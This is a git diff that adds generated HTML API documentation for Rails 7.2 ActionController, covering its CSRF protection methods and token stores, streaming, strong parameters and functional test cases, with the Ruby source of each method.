+            valid_per_form_csrf_token?(csrf_token)
+        else
+          false # Token is malformed.
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + valid_per_form_csrf_token?(token, session = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 552
+      def valid_per_form_csrf_token?(token, session = nil) # :doc:
+        if per_form_csrf_tokens
+          correct_token = per_form_csrf_token(
+            session,
+            request.path.chomp("/"),
+            request.request_method
+          )
+
+          ActiveSupport::SecurityUtils.fixed_length_secure_compare(token, correct_token)
+        else
+          false
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + valid_request_origin?() + +

+ + +
+

Checks if the request originated from the same origin by looking at the Origin header.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 625
+      def valid_request_origin? # :doc:
+        if forgery_protection_origin_check
+          # We accept blank origin headers because some user agents don't send it.
+          raise InvalidAuthenticityToken, NULL_ORIGIN_MESSAGE if request.origin == "null"
+          request.origin.nil? || request.origin == request.base_url
+        else
+          true
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + verified_request?() + +

+ + +
+

Returns true or false if a request is verified. Checks:

+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 461
+      def verified_request? # :doc:
+        !protect_against_forgery? || request.get? || request.head? ||
+          (valid_request_origin? && any_authenticity_token_valid?)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + verify_authenticity_token() + +

+ + +
+

The actual before_action that is used to verify the CSRF token. Don’t override this directly. Provide your own forgery protection strategy instead. If you override, you’ll disable same-origin <script> verification.

+ +

Lean on the protect_from_forgery declaration to mark which actions are due for same-origin request verification. If protect_from_forgery is enabled on an action, this before_action flags its after_action to verify that JavaScript responses are for XHR requests, ensuring they follow the browser’s same-origin policy.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 389
+      def verify_authenticity_token # :doc:
+        mark_for_same_origin_verification!
+
+        if !verified_request?
+          logger.warn unverified_request_warning_message if logger && log_warning_on_csrf_failure
+
+          handle_unverified_request
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + verify_same_origin_request() + +

+ + +
+

If verify_authenticity_token was run (indicating that we have forgery protection enabled for this request) then also verify that we aren’t serving an unauthorized cross-origin response.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 427
+      def verify_same_origin_request # :doc:
+        if marked_for_same_origin_verification? && non_xhr_javascript_response?
+          if logger && log_warning_on_csrf_failure
+            logger.warn CROSS_ORIGIN_JAVASCRIPT_WARNING
+          end
+          raise ActionController::InvalidCrossOriginRequest, CROSS_ORIGIN_JAVASCRIPT_WARNING
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + xor_byte_strings(s1, s2) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 593
+      def xor_byte_strings(s1, s2) # :doc:
+        s2 = s2.dup
+        size = s1.bytesize
+        i = 0
+        while i < size
+          s2.setbyte(i, s1.getbyte(i) ^ s2.getbyte(i))
+          i += 1
+        end
+        s2
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/RequestForgeryProtection/ClassMethods.html b/src/7.2/classes/ActionController/RequestForgeryProtection/ClassMethods.html new file mode 100644 index 0000000000..86e007da99 --- /dev/null +++ b/src/7.2/classes/ActionController/RequestForgeryProtection/ClassMethods.html @@ -0,0 +1,227 @@ +--- +title: ActionController::RequestForgeryProtection::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + protect_from_forgery(options = {}) + +

+ + +
+

Turn on request forgery protection. Bear in mind that GET and HEAD requests are not checked.

+ +
class ApplicationController < ActionController::Base
+  protect_from_forgery
+end
+
+class FooController < ApplicationController
+  protect_from_forgery except: :index
+end
+
+ +

You can disable forgery protection on a controller using skip_forgery_protection:

+ +
class BarController < ApplicationController
+  skip_forgery_protection
+end
+
+ +

Valid Options:

+
  • +

    :only / :except - Only apply forgery protection to a subset of actions. For example only: [ :create, :create_all ].

    +
  • +

    :if / :unless - Turn off the forgery protection entirely depending on the passed Proc or method reference.

    +
  • +

    :prepend - By default, the verification of the authentication token will be added at the position of the protect_from_forgery call in your application. This means any callbacks added before are run first. This is useful when you want your forgery protection to depend on other callbacks, like authentication methods (Oauth vs Cookie auth).

    + +

    If you need to add verification to the beginning of the callback chain, use prepend: true.

    +
  • +

    :with - Set the method to handle unverified request. Note if default_protect_from_forgery is true, Rails call protect_from_forgery with with :exception.

    +
+ +

Built-in unverified request handling methods are: * :exception - Raises ActionController::InvalidAuthenticityToken exception. * :reset_session - Resets the session. * :null_session - Provides an empty session during request but doesn’t reset it completely. Used as default if :with option is not specified.

+ +

You can also implement custom strategy classes for unverified request handling:

+ +
class CustomStrategy
+  def initialize(controller)
+    @controller = controller
+  end
+
+  def handle_unverified_request
+    # Custom behavior for unverfied request
+  end
+end
+
+class ApplicationController < ActionController::Base
+  protect_from_forgery with: CustomStrategy
+end
+
+
  • +

    :store - Set the strategy to store and retrieve CSRF tokens.

    +
+ +

Built-in session token strategies are: * :session - Store the CSRF token in the session. Used as default if :store option is not specified. * :cookie - Store the CSRF token in an encrypted cookie.

+ +

You can also implement custom strategy classes for CSRF token storage:

+ +
class CustomStore
+  def fetch(request)
+    # Return the token from a custom location
+  end
+
+  def store(request, csrf_token)
+    # Store the token in a custom location
+  end
+
+  def reset(request)
+    # Delete the stored session token
+  end
+end
+
+class ApplicationController < ActionController::Base
+  protect_from_forgery store: CustomStore.new
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 197
+      def protect_from_forgery(options = {})
+        options = options.reverse_merge(prepend: false)
+
+        self.forgery_protection_strategy = protection_method_class(options[:with] || :null_session)
+        self.request_forgery_protection_token ||= :authenticity_token
+
+        self.csrf_token_storage_strategy = storage_strategy(options[:store] || SessionStore.new)
+
+        before_action :verify_authenticity_token, options
+        append_after_action :verify_same_origin_request
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + skip_forgery_protection(options = {}) + +

+ + +
+

Turn off request forgery protection. This is a wrapper for:

+ +
skip_before_action :verify_authenticity_token
+
+ +

See skip_before_action for allowed options.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 214
+      def skip_forgery_protection(options = {})
+        skip_before_action :verify_authenticity_token, options.reverse_merge(raise: false)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/RequestForgeryProtection/CookieStore.html b/src/7.2/classes/ActionController/RequestForgeryProtection/CookieStore.html new file mode 100644 index 0000000000..a57f67e23e --- /dev/null +++ b/src/7.2/classes/ActionController/RequestForgeryProtection/CookieStore.html @@ -0,0 +1,242 @@ +--- +title: ActionController::RequestForgeryProtection::CookieStore +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(cookie = :csrf_token) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 332
+      def initialize(cookie = :csrf_token)
+        @cookie_name = cookie
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + fetch(request) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 336
+      def fetch(request)
+        contents = request.cookie_jar.encrypted[@cookie_name]
+        return nil if contents.nil?
+
+        value = JSON.parse(contents)
+        return nil unless value.dig("session_id", "public_id") == request.session.id_was&.public_id
+
+        value["token"]
+      rescue JSON::ParserError
+        nil
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reset(request) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 359
+      def reset(request)
+        request.cookie_jar.delete(@cookie_name)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + store(request, csrf_token) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 348
+      def store(request, csrf_token)
+        request.cookie_jar.encrypted.permanent[@cookie_name] = {
+          value: {
+            token: csrf_token,
+            session_id: request.session.id,
+          }.to_json,
+          httponly: true,
+          same_site: :lax,
+        }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/RequestForgeryProtection/ProtectionMethods.html b/src/7.2/classes/ActionController/RequestForgeryProtection/ProtectionMethods.html new file mode 100644 index 0000000000..47c8431f7c --- /dev/null +++ b/src/7.2/classes/ActionController/RequestForgeryProtection/ProtectionMethods.html @@ -0,0 +1,71 @@ +--- +title: ActionController::RequestForgeryProtection::ProtectionMethods +layout: default +--- +
+ +
+ + +
+
diff --git a/src/7.2/classes/ActionController/RequestForgeryProtection/ProtectionMethods/Exception.html b/src/7.2/classes/ActionController/RequestForgeryProtection/ProtectionMethods/Exception.html new file mode 100644 index 0000000000..66f3258150 --- /dev/null +++ b/src/7.2/classes/ActionController/RequestForgeryProtection/ProtectionMethods/Exception.html @@ -0,0 +1,163 @@ +--- +title: ActionController::RequestForgeryProtection::ProtectionMethods::Exception +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [RW] + warning_message
+ + + + +

Class Public methods

+ +
+

+ + new(controller) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 307
+        def initialize(controller)
+          @controller = controller
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + handle_unverified_request() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 311
+        def handle_unverified_request
+          raise ActionController::InvalidAuthenticityToken, warning_message
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/RequestForgeryProtection/ProtectionMethods/NullSession.html b/src/7.2/classes/ActionController/RequestForgeryProtection/ProtectionMethods/NullSession.html new file mode 100644 index 0000000000..2bd81dc346 --- /dev/null +++ b/src/7.2/classes/ActionController/RequestForgeryProtection/ProtectionMethods/NullSession.html @@ -0,0 +1,168 @@ +--- +title: ActionController::RequestForgeryProtection::ProtectionMethods::NullSession +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(controller) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 253
+        def initialize(controller)
+          @controller = controller
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + handle_unverified_request() + +

+ + +
+

This is the method that defines the application behavior when a request is found to be unverified.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 259
+        def handle_unverified_request
+          request = @controller.request
+          request.session = NullSessionHash.new(request)
+          request.flash = nil
+          request.session_options = { skip: true }
+          request.cookie_jar = NullCookieJar.build(request, {})
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/RequestForgeryProtection/ProtectionMethods/NullSession/NullCookieJar.html b/src/7.2/classes/ActionController/RequestForgeryProtection/ProtectionMethods/NullSession/NullCookieJar.html new file mode 100644 index 0000000000..e60ae61f6e --- /dev/null +++ b/src/7.2/classes/ActionController/RequestForgeryProtection/ProtectionMethods/NullSession/NullCookieJar.html @@ -0,0 +1,107 @@ +--- +title: ActionController::RequestForgeryProtection::ProtectionMethods::NullSession::NullCookieJar +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + write(*) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 288
+            def write(*)
+              # nothing
+            end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/RequestForgeryProtection/ProtectionMethods/NullSession/NullSessionHash.html b/src/7.2/classes/ActionController/RequestForgeryProtection/ProtectionMethods/NullSession/NullSessionHash.html new file mode 100644 index 0000000000..ff83f049a8 --- /dev/null +++ b/src/7.2/classes/ActionController/RequestForgeryProtection/ProtectionMethods/NullSession/NullSessionHash.html @@ -0,0 +1,227 @@ +--- +title: ActionController::RequestForgeryProtection::ProtectionMethods::NullSession::NullSessionHash +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(req) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 269
+            def initialize(req)
+              super(nil, req)
+              @data = {}
+              @loaded = true
+            end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + destroy() + +

+ + +
+

no-op

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 276
+            def destroy; end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + enabled?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 282
+            def enabled?
+              false
+            end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + exists?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 278
+            def exists?
+              true
+            end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/RequestForgeryProtection/ProtectionMethods/ResetSession.html b/src/7.2/classes/ActionController/RequestForgeryProtection/ProtectionMethods/ResetSession.html new file mode 100644 index 0000000000..efea2a4887 --- /dev/null +++ b/src/7.2/classes/ActionController/RequestForgeryProtection/ProtectionMethods/ResetSession.html @@ -0,0 +1,149 @@ +--- +title: ActionController::RequestForgeryProtection::ProtectionMethods::ResetSession +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(controller) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 295
+        def initialize(controller)
+          @controller = controller
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + handle_unverified_request() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 299
+        def handle_unverified_request
+          @controller.reset_session
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/RequestForgeryProtection/SessionStore.html b/src/7.2/classes/ActionController/RequestForgeryProtection/SessionStore.html new file mode 100644 index 0000000000..0033326894 --- /dev/null +++ b/src/7.2/classes/ActionController/RequestForgeryProtection/SessionStore.html @@ -0,0 +1,185 @@ +--- +title: ActionController::RequestForgeryProtection::SessionStore +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + fetch(request) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 318
+      def fetch(request)
+        request.session[:_csrf_token]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reset(request) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 326
+      def reset(request)
+        request.session.delete(:_csrf_token)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + store(request, csrf_token) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 322
+      def store(request, csrf_token)
+        request.session[:_csrf_token] = csrf_token
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/Rescue.html b/src/7.2/classes/ActionController/Rescue.html new file mode 100644 index 0000000000..3cbf67327e --- /dev/null +++ b/src/7.2/classes/ActionController/Rescue.html @@ -0,0 +1,123 @@ +--- +title: ActionController::Rescue +layout: default +--- +
+ +
+
+ +
+ +

Action Controller Rescue

+ +

This module is responsible for providing rescue_from to controllers, wrapping actions to handle configured errors, and configuring when detailed exceptions must be shown.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + show_detailed_exceptions?() + +

+ + +
+

Override this method if you want to customize when detailed exceptions must be shown. This method is only called when consider_all_requests_local is false. By default, it returns false, but someone may set it to request.local? so local requests in production still show the detailed exception pages.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/rescue.rb, line 21
+    def show_detailed_exceptions?
+      false
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/RespondToMismatchError.html b/src/7.2/classes/ActionController/RespondToMismatchError.html new file mode 100644 index 0000000000..6349506b2c --- /dev/null +++ b/src/7.2/classes/ActionController/RespondToMismatchError.html @@ -0,0 +1,135 @@ +--- +title: ActionController::RespondToMismatchError +layout: default +--- +
+ +
+
+ +
+ +

Raised when a nested respond_to is triggered and the content types of each are incompatible. For example:

+ +
respond_to do |outer_type|
+  outer_type.js do
+    respond_to do |inner_type|
+      inner_type.html { render body: "HTML" }
+    end
+  end
+end
+
+ +
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + +

Constants

+ + + + + + + + + +
DEFAULT_MESSAGE="respond_to was called multiple times and matched with conflicting formats in this action. Please note that you may only call respond_to and match on a single format per action."
+ + + + + + +

Class Public methods

+ +
+

+ + new(message = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/exceptions.rb, line 91
+    def initialize(message = nil)
+      super(message || DEFAULT_MESSAGE)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/Streaming.html b/src/7.2/classes/ActionController/Streaming.html new file mode 100644 index 0000000000..20da9b5592 --- /dev/null +++ b/src/7.2/classes/ActionController/Streaming.html @@ -0,0 +1,225 @@ +--- +title: ActionController::Streaming +layout: default +--- +
+ +
+
+ +
+ +

Action Controller Streaming

+ +

Allows views to be streamed back to the client as they are rendered.

+ +

By default, Rails renders views by first rendering the template and then the layout. The response is sent to the client after the whole template is rendered, all queries are made, and the layout is processed.

+ +

Streaming inverts the rendering flow by rendering the layout first and subsequently each part of the layout as they are processed. This allows the header of the HTML (which is usually in the layout) to be streamed back to client very quickly, enabling JavaScripts and stylesheets to be loaded earlier than usual.

+ +

Several Rack middlewares may not work and you need to be careful when streaming. This is covered in more detail below, see the Middlewares at Streaming section.

+ +

Streaming can be added to a given template easily, all you need to do is to pass the :stream option to render.

+ +
class PostsController
+  def index
+    @posts = Post.all
+    render stream: true
+  end
+end
+
+ +

When to use streaming

+ +

Streaming may be considered to be overkill for lightweight actions like new or edit. The real benefit of streaming is on expensive actions that, for example, do a lot of queries on the database.

+ +

In such actions, you want to delay queries execution as much as you can. For example, imagine the following dashboard action:

+ +
def dashboard
+  @posts = Post.all
+  @pages = Page.all
+  @articles = Article.all
+end
+
+ +

Most of the queries here are happening in the controller. In order to benefit from streaming you would want to rewrite it as:

+ +
def dashboard
+  # Allow lazy execution of the queries
+  @posts = Post.all
+  @pages = Page.all
+  @articles = Article.all
+  render stream: true
+end
+
+ +

Notice that :stream only works with templates. Rendering :json or :xml with :stream won’t work.

+ +

Communication between layout and template

+ +

When streaming, rendering happens top-down instead of inside-out. Rails starts with the layout, and the template is rendered later, when its yield is reached.

+ +

This means that, if your application currently relies on instance variables set in the template to be used in the layout, they won’t work once you move to streaming. The proper way to communicate between layout and template, regardless of whether you use streaming or not, is by using content_for, provide, and yield.

+ +

Take a simple example where the layout expects the template to tell which title to use:

+ +
<html>
+  <head><title><%= yield :title %></title></head>
+  <body><%= yield %></body>
+</html>
+
+ +

You would use content_for in your template to specify the title:

+ +
<%= content_for :title, "Main" %>
+Hello
+
+ +

And the final result would be:

+ +
<html>
+  <head><title>Main</title></head>
+  <body>Hello</body>
+</html>
+
+ +

However, if content_for is called several times, the final result would have all calls concatenated. For instance, if we have the following template:

+ +
<%= content_for :title, "Main" %>
+Hello
+<%= content_for :title, " page" %>
+
+ +

The final result would be:

+ +
<html>
+  <head><title>Main page</title></head>
+  <body>Hello</body>
+</html>
+
+ +

This means that, if you have yield :title in your layout and you want to use streaming, you would have to render the whole template (and eventually trigger all queries) before streaming the title and all assets, which defeats the purpose of streaming. Alternatively, you can use a helper called provide that does the same as content_for but tells the layout to stop searching for other entries and continue rendering.

+ +

For instance, the template above using provide would be:

+ +
<%= provide :title, "Main" %>
+Hello
+<%= content_for :title, " page" %>
+
+ +

Resulting in:

+ +
<html>
+  <head><title>Main</title></head>
+  <body>Hello</body>
+</html>
+
+ +

That said, when streaming, you need to properly check your templates and choose when to use provide and content_for.

+ +

See also ActionView::Helpers::CaptureHelper for more information.

+ +

Headers, cookies, session, and flash

+ +

When streaming, the HTTP headers are sent to the client right before it renders the first line. This means that, modifying headers, cookies, session or flash after the template starts rendering will not propagate to the client.

+ +

Middlewares

+ +

Middlewares that need to manipulate the body won’t work with streaming. You should disable those middlewares whenever streaming in development or production. For instance, Rack::Bug won’t work when streaming as it needs to inject contents in the HTML body.

+ +

Also Rack::Cache won’t work with streaming as it does not support streaming bodies yet. Whenever streaming Cache-Control is automatically set to β€œno-cache”.

+ +

Errors

+ +

When it comes to streaming, exceptions get a bit more complicated. This happens because part of the template was already rendered and streamed to the client, making it impossible to render a whole exception page.

+ +

Currently, when an exception happens in development or production, Rails will automatically stream to the client:

+ +
"><script>window.location = "/500.html"</script></html>
+
+ +

The first two characters (">) are required in case the exception happens while rendering attributes for a given tag. You can check the real cause for the exception in your logger.

+ +

Web server support

+ +

Not all web servers support streaming out-of-the-box. You need to check the instructions for each of them.

+ +

Unicorn

+ +

Unicorn supports streaming but it needs to be configured. For this, you need to create a config file as follow:

+ +
# unicorn.config.rb
+listen 3000, tcp_nopush: false
+
+ +

And use it on initialization:

+ +
unicorn_rails --config-file unicorn.config.rb
+
+ +

You may also want to configure other parameters like :tcp_nodelay.

+ +

For more information, please check the [documentation](bogomips.org/unicorn/Unicorn/Configurator.html#method- i-listen).

+ +

If you are using Unicorn with NGINX, you may need to tweak NGINX. Streaming should work out of the box on Rainbows.

+ +

Passenger

+ +

Phusion Passenger with NGINX, offers two streaming mechanisms out of the box.

+
  1. +

    NGINX response buffering mechanism which is dependent on the value of passenger_buffer_response option (default is β€œoff”).

    +
  2. +

    Passenger buffering system which is always β€˜on’ irrespective of the value of passenger_buffer_response.

    +
+ +

When passenger_buffer_response is turned β€œon”, then streaming would be done at the NGINX level which waits until the application is done sending the response back to the client.

+ +

For more information, please check the [documentation] (www.phusionpassenger.com/docs/references/config_reference/nginx/#passenger_buffer_response).

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/StrongParameters.html b/src/7.2/classes/ActionController/StrongParameters.html new file mode 100644 index 0000000000..ebdb214479 --- /dev/null +++ b/src/7.2/classes/ActionController/StrongParameters.html @@ -0,0 +1,215 @@ +--- +title: ActionController::StrongParameters +layout: default +--- +
+ +
+
+ +
+ +

Strong Parameters

+ +

It provides an interface for protecting attributes from end-user assignment. This makes Action Controller parameters forbidden to be used in Active Model mass assignment until they have been explicitly enumerated.

+ +

In addition, parameters can be marked as required and flow through a predefined raise/rescue flow to end up as a 400 Bad Request with no effort.

+ +
class PeopleController < ActionController::Base
+  # Using "Person.create(params[:person])" would raise an
+  # ActiveModel::ForbiddenAttributesError exception because it'd
+  # be using mass assignment without an explicit permit step.
+  # This is the recommended form:
+  def create
+    Person.create(person_params)
+  end
+
+  # This will pass with flying colors as long as there's a person key in the
+  # parameters, otherwise it'll raise an ActionController::ParameterMissing
+  # exception, which will get caught by ActionController::Base and turned
+  # into a 400 Bad Request reply.
+  def update
+    redirect_to current_account.people.find(params[:id]).tap { |person|
+      person.update!(person_params)
+    }
+  end
+
+  private
+    # Using a private method to encapsulate the permissible parameters is
+    # a good pattern since you'll be able to reuse the same permit
+    # list between create and update. Also, you can specialize this method
+    # with per-user checking of permissible attributes.
+    def person_params
+      params.require(:person).permit(:name, :age)
+    end
+end
+
+ +

In order to use accepts_nested_attributes_for with Strong Parameters, you will need to specify which nested attributes should be permitted. You might want to allow :id and :_destroy, see ActiveRecord::NestedAttributes for more information.

+ +
class Person
+  has_many :pets
+  accepts_nested_attributes_for :pets
+end
+
+class PeopleController < ActionController::Base
+  def create
+    Person.create(person_params)
+  end
+
+  ...
+
+  private
+
+    def person_params
+      # It's mandatory to specify the nested attributes that should be permitted.
+      # If you use `permit` with just the key that points to the nested attributes hash,
+      # it will return an empty hash.
+      params.require(:person).permit(:name, :age, pets_attributes: [ :id, :name, :category ])
+    end
+end
+
+ +

See ActionController::Parameters.require and ActionController::Parameters.permit for more information.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + params() + +

+ + +
+

Returns a new ActionController::Parameters object that has been instantiated with the request.parameters.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 1326
+    def params
+      @_params ||= begin
+        context = {
+          controller: self.class.name,
+          action: action_name,
+          request: request,
+          params: request.filtered_parameters
+        }
+        Parameters.new(request.parameters, context)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + params=(value) + +

+ + +
+

Assigns the given value to the params hash. If value is a Hash, this will create an ActionController::Parameters object that has been instantiated with the given value hash.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 1341
+    def params=(value)
+      @_params = value.is_a?(Hash) ? Parameters.new(value) : value
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/TestCase.html b/src/7.2/classes/ActionController/TestCase.html new file mode 100644 index 0000000000..7f8ceaad17 --- /dev/null +++ b/src/7.2/classes/ActionController/TestCase.html @@ -0,0 +1,208 @@ +--- +title: ActionController::TestCase +layout: default +--- +
+ +
+
+ +
+ +

Action Controller Test Case

+ +

Superclass for ActionController functional tests. Functional tests allow you to test a single controller action per test method.

+ +

Use integration style controller tests over functional style controller tests.

+ +

Rails discourages the use of functional tests in favor of integration tests (use ActionDispatch::IntegrationTest).

+ +

New Rails applications no longer generate functional style controller tests and they should only be used for backward compatibility. Integration style controller tests perform actual requests, whereas functional style controller tests merely simulate a request. Besides, integration tests are as fast as functional tests and provide lot of helpers such as as, parsed_body for effective testing of controller actions including even API endpoints.

+ +

Basic example

+ +

Functional tests are written as follows: 1. First, one uses the get, post, patch, put, delete, or head method to simulate an HTTP request. 2. Then, one asserts whether the current state is as expected. β€œState” can be anything: the controller’s HTTP response, the database contents, etc.

+ +

For example:

+ +
class BooksControllerTest < ActionController::TestCase
+  def test_create
+    # Simulate a POST response with the given HTTP parameters.
+    post(:create, params: { book: { title: "Love Hina" }})
+
+    # Asserts that the controller tried to redirect us to
+    # the created book's URI.
+    assert_response :found
+
+    # Asserts that the controller really put the book in the database.
+    assert_not_nil Book.find_by(title: "Love Hina")
+  end
+end
+
+ +

You can also send a real document in the simulated HTTP request.

+ +
def test_create
+  json = {book: { title: "Love Hina" }}.to_json
+  post :create, body: json
+end
+
+ +

Special instance variables

+ +

ActionController::TestCase will also automatically provide the following instance variables for use in the tests:

+
@controller +
+

The controller instance that will be tested.

+
@request +
+

An ActionController::TestRequest, representing the current HTTP request. You can modify this object before sending the HTTP request. For example, you might want to set some session properties before sending a GET request.

+
@response +
+

An ActionDispatch::TestResponse object, representing the response of the last HTTP response. In the above example, @response becomes valid after calling post. If the various assert methods are not sufficient, then you may use this object to inspect the HTTP response in detail.

+
+ +

Controller is automatically inferred

+ +

ActionController::TestCase will automatically infer the controller under test from the test class name. If the controller cannot be inferred from the test class name, you can explicitly set it with tests.

+ +
